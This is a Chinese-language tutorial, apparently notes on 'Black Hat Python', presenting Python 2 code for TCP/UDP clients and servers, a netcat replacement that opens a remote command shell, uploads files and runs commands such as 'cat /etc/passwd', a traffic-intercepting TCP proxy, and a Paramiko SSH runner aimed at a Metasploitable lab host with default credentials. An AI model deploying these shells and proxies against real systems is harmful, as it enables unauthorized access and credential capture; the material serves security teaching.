TCP客户端:
示例中socket对象有两个参数,AF_INET参数表明使用IPv4地址或主机名
SOCK_STREAM参数表示是一个TCP客户端。访问的URL是百度。
#coding=utf-8 import socket target_host = "www.baidu.com" target_port = 80 #建立一个socket对象 client = socket.socket(socket.AF_INET,socket.SOCK_STREAM) #连接客户端 client.connect((target_host,target_port)) #发送一些数据 client.send("GET / HTTP/1.1\r\nHost: baidu.com\r\n\r\n") #接收一些数据 response = client.recv(4096) print response
运行结果:
UDP客户端:
与TCP客户端相比,将套接字的类型改为SOCK_DGRAM,然后调用sendto()函数发送数据
因为UDP是无连接的因此不需要调用connect()函数,最后使用recvfrom()函数接收返回的UDP数据包。
#coding=utf-8 import socket target_host = "127.0.0.1" target_port = 1234 #建立一个socket对象 client = socket.socket(socket.AF_INET,socket.SOCK_DGRAM) #发送一些数据 client.sendto("This is an UDP client",(target_host,target_port)) #接收一些数据 data, addr = client.recvfrom(4096) print data print addr
运行结果:
TCP服务端:
这里需要先调用bind()函数绑定IP和端口,然后通过调用listen()函数启动监听并将最大连接数设为5。
#!/usr/bin/python #coding=utf-8 import socket import threading bind_ip = "0.0.0.0" bind_port = 1234 server = socket.socket(socket.AF_INET,socket.SOCK_STREAM) server.bind((bind_ip,bind_port)) server.listen(5) print '[*] Listening on %s:%d'%(bind_ip,bind_port) #客户处理线程 def handle_client(client_socket): #打印客户端发送得到的消息 request = client_socket.recv(1024) print "[*] Received: %s"%request #返回一个数据包 client_socket.send("ACK!") client_socket.close() while True: client, addr = server.accept() print "[*] Accepted connection from: %s:%d"%(addr[0],addr[1]) #挂起客户端线程,处理传入数据 client_handler = threading.Thread(target=handle_client,args=(client,)) client_handler.start()
运行结果:
取代netcat:
rstrip() 删除 string 字符串末尾的指定字符(默认为空格)。
subprocess.check_output():父进程等待子进程完成,返回子进程向标准输出的输出结果。
getopt模块是专门处理命令行参数的。
#!/usr/bin/python #coding=utf-8 import sys import socket import getopt import threading import subprocess #定义一些全局变量 listen = False command = False upload = False execute = "" target = "" upload_destination = "" port = 0 #使用帮助 def usage(): print "BHP Net Tool" print print "Usage: bhpnet.py -t target_host - p port" print "-l --listen - listen on [host]:[port] for incoming connections" print "-e --execute=file_to_run -execute the given file upon receiving a connection" print "-c --command - initialize a commandshell" print "-u --upload=destination - upon receiving connection upload a file and write to [destination]" print print print "Examples:" print "bhpnet.py -t 192.168.0.1 -p 5555 -l -c" print "bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe" print "bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\"" print "echo 'ABCDEFGHI' | python ./bhpnet.py -t 192.168.11.12 -p 135" sys.exit(0) def client_sender(buffer): client = socket.socket(socket.AF_INET,socket.SOCK_STREAM) try: #连接到目标主机 client.connect((target,port)) if len(buffer): client.send(buffer) while True: #现在等待数据回传 recv_len = 1 response = "" while recv_len: data = client.recv(4096) recv_len = len(data) response += data if recv_len < 4096: break print response, #等待更多的输入 buffer = raw_input("") buffer += "\n" #发送出去 client.send(buffer) except: print "[*] Exception! Exiting. " #关闭连接 client.close() def server_loop(): global target #如果没有定义目标,那么我们监听所有的接口 if not len(target): target = "0.0.0.0" server = socket.socket(socket.AF_INET,socket.SOCK_STREAM) server.bind((target,port)) server.listen(5) while True: client_socket, addr = server.accept() #分拆一个线程处理新的客户端 client_thread = threading.Thread(target=client_handler,args=(client_socket,)) client_thread.start() def run_command(command): #换行 command = command.rstrip() #运行命令并将输出返回 try: output = subprocess.check_output(command,stderr=subprocess.STDOUT,shell=True) except: output = "Failed to execute command. \r\n" #将输出发送 return output def client_handler(client_socket): global upload global execute global command #检测上传文件 if len(upload_destination): #读取所有的字符并写下目标 file_buffer = "" #持续读取数据直到没有符合的数据 while True: data = client_socket.recv(1024) if not data: break else: file_buffer += data #现在我们接收这些数据并将他们写出来 try: file_descriptor = open(upload_destination,"wb") file_descriptor.write(file_buffer) file_descriptor.close() #确认文件已经写出来 client_socket.send("Successfully saved file to %s\r\n"%upload_destination) except: client_socket.send("Failed to save file to %s\r\n"%upload_destination) #检查命令执行 if len(execute): #运行命令 output = run_command(execute) client_socket.send(output) #如果需要一个命令行shell,那么我们进入另一个循环 if command: while True: #跳出一个窗口 client_socket.send("<BHP:#> ") #现在我们接收文件直到发现换行符(enter key) cmd_buffer = "" while "\n" not in cmd_buffer: cmd_buffer += client_socket.recv(1024) #返还命令输出 response = run_command(cmd_buffer) #返回响应数据 client_socket.send(response) def main(): global listen global port global execute global command global upload_destination global target if not len(sys.argv[1:]): usage() #读取命令行选项 try: opts, args = getopt.getopt(sys.argv[1:],"hle:t:p:cu:",["help", "listen", "execute", "target", "port", "command", "upload"]) except getopt.GetoptError as err: print str(err) usage() for o,a in opts: if o in ("-h","--help"): usage() elif o in ("-l","--listen"): listen = True elif o in ("-e","--execute"): execute = a elif o in ("-c","--commandshell"): command = True elif o in ("-u","--upload"): upload_destination = a elif o in ("-t","--target"): target = a elif o in ("-p","--port"): port = int(a) else: assert False,"Unhandled Option" #我们是进行监听还是仅从标准输入发送数据? if not listen and len(target) and port > 0 : #从命令行读取内存数据 #这里将阻塞,所以不再向标准输入发送数据时发送CTRL-D buffer = sys.stdin.read() #发送数据 client_sender(buffer) #我们开始监听并准备上传文件、执行命令 #放置一个反弹shell #取决于上面的命令行选项 if listen: server_loop() main()
这里对程序说明一下:
usage()函数用于参数的说明帮助、当用户输入错误的参数时会输出相应的提示;
client_sender()函数用于与目标主机建立连接并交互数据直到没有更多的数据发送回来,然后等待用户下一步的输入并继续发送和接收数据,直到用户结束脚本运行;
server_loop()函数用于建立监听端口并实现多线程处理新的客户端;
run_command()函数用于执行命令,其中subprocess库提供多种与客户端程序交互的方法;
client_handler()函数用于实现文件上传、命令执行和与shell相关的功能,其中wb标识确保是以二进制的格式写入文件、从而确保上传和写入的二进制文件能够成功执行;
主函数main()中是先读取所有的命令行选项从而设置相应的变量,然后从标准输入中读取数据并通过网络发送数据,若需要交互式地发送数据需要发送CTRL-D以避免从标准输入中读取数据,若检测到listen参数为True则调用server_loop()函数准备处理下一步命令。
运行结果:
1、本地测试:
2、访问百度:
3、客户端Ubuntu访问,可以看到客户端访问时输入命令之后需要多输入一个换行符才可以输入成功从而看到输出结果:
创建一个TCP代理:
#!/usr/bin/python #coding=utf-8 import socket import sys import threading def server_loop(local_host,local_port,remote_host,remote_port,receive_first): server = socket.socket(socket.AF_INET,socket.SOCK_STREAM) try: server.bind((local_host,local_port)) except: print "[!!] Failed to listen on %s:%d"%(local_host,local_port) print "[!!] Check for other listening sockets or correct permissions. " sys.exit(0) print "[*] Listening on %s:%d"%(local_host,local_port) server.listen(5) while True: client_socket, addr = server.accept() # 打印出本地连接信息 print "[==>] Received incoming connection from %s:%d"%(addr[0],addr[1]) # 开启一个线程与远程主机通信 proxy_thread = threading.Thread(target=proxy_handler,args=(client_socket,remote_host,remote_port,receive_first)) proxy_thread.start() def proxy_handler(client_socket,remote_host,remote_port,receive_first): # 连接远程主机 remote_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM) remote_socket.connect((remote_host,remote_port)) # 如果必要从远程主机接收数据 if receive_first: remote_buffer = receive_from(remote_socket) hexdump(remote_buffer) # 发送给我们的响应数据 remote_buffer = response_handler(remote_buffer) # 如果我们有数据传递给本地客户端,发送它 if len(remote_buffer): print "[<==] Sending %d bytes to localhost. "%len(remote_buffer) client_socket.send(remote_buffer) # 现在我们从本地循环读取数据,发送给远程主机和本地主机 while True: # 从本地读取主机 local_buffer = receive_from(client_socket) if len(local_buffer): print "[==>] Received %d bytes from localhost. "%len(local_buffer) hexdump(local_buffer) # 发送给我们的本地请求 local_buffer = request_handler(local_buffer) # 向远程主机发送数据 remote_socket.send(local_buffer) print "[==>] Sent to remote ." # 接受响应的数据 remote_buffer = receive_from(remote_socket) if len(remote_buffer): print "[<==] Received %d bytes from remote . "%len(remote_buffer) hexdump(remote_buffer) # 发送到响应处理函数 remote_buffer = response_handler(remote_buffer) # 将响应发送给本地socket client_socket.send(remote_buffer) print "[<==] Sent to localhost. " # 如果两边都没有数据,关闭连接 if not len(local_buffer) or not len(remote_buffer): client_socket.close() remote_socket.close() print "[*] No more data. Closing cnnections. " break # 十六进制导出函数 def hexdump(src,length=16): result = [] digits = 4 if isinstance(src,unicode) else 2 for i in xrange(0,len(src),length): s = src[i:i+length] hexa = b' '.join(["%0*X" % (digits,ord(x)) for x in s]) text = b''.join([x if 0x20 <= ord(x) < 0x7F else b'.' for x in s]) result.append( b"%04X %-*s %s" % (i,length*(digits + 1),hexa,text)) print b'\n'.join(result) def receive_from(connection): buffer = "" # 我们设置了两秒的超时,这取决于目标的情况,可能需要调整 connection.settimeout(2) try: # 持续从缓存中读取数据直到没有数据或超时 while True: data = connection.recv(4096) if not data: break buffer += data except: pass return buffer # 对目标是远程主机的请求进行修改 def request_handler(buffer): # 执行包修改 return buffer # 对目标是本地主机的响应进行修改 def response_handler(buffer): # 执行包修改 return buffer def main(): # 没有华丽的命令行解析 if len(sys.argv[1:]) != 5: print "Usage : ./tcp_agent.py [localhost] [localport] [remotehost] [remoteport] [receive_first] " print "Example : ./tcp_agent.py 127.0.0.1 9000 10.12.132.1 9000 True" sys.exit(0) # 设置本地监听参数 local_host = sys.argv[1] local_port = int(sys.argv[2]) # 设置远程目标 remote_host = sys.argv[3] remote_port = int(sys.argv[4]) # 告诉代理在发送给远程主机之前连接和接收数据 receive_first = sys.argv[5] if "True" in receive_first: receive_first = True else: receive_first = False # 现在设置好我们的监听socket server_loop(local_host,local_port,remote_host,remote_port,receive_first) main()
这里对每个函数说明一下:
proxy_handler()函数包含了代理的主要逻辑,先检查并确保在启动主循环之前不向建立连接的远程主机主动发送数据,启动循环之后接收本地和远程主机的数据然后再调用相应的函数进行处理之后再转发出去;
hexdump()函数仅输出数据包的十六进制值和可打印的ASCII码字符,对于了解未知的协议很有帮助,还能找到使用明文协议的认证信息等;
receive_from()函数用于接收本地和远程主机的数据,使用socket对象作为参数;
request_handler()和response_handler()函数允许用来修改代理双向的数据流量;
server_loop()函数用于循环以监听并连接请求,当有新的请求到达时会提交给proxy_handler()函数处理,接收每一个比特的数据,然后发送到目标远程主机;
main主函数先读入命令行参数,然后调用服务端的server_loop()函数。
运行结果:
结果可以看到,其实和Wireshark等抓包工具的效果是差不多的。
通过Paramiko使用SSH:
首先需要安装paramiko模块:
这里先进行简单的测试,连接Metasploit2 的主机。
#!/usr/bin/python import paramiko import threading import subprocess def ssh_command(ip,user,passwd,command): client = paramiko.SSHClient() #client.load_host_keys('/home/justin/.ssh/known_hosts') client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) client.connect(ip,username=user,password=passwd) ssh_session = client.get_transport().open_session() if ssh_session.active: ssh_session.exec_command(command) print ssh_session.recv(1024) return ssh_command('10.10.10.128','msfadmin','msfadmin','uname -a')
运行结果: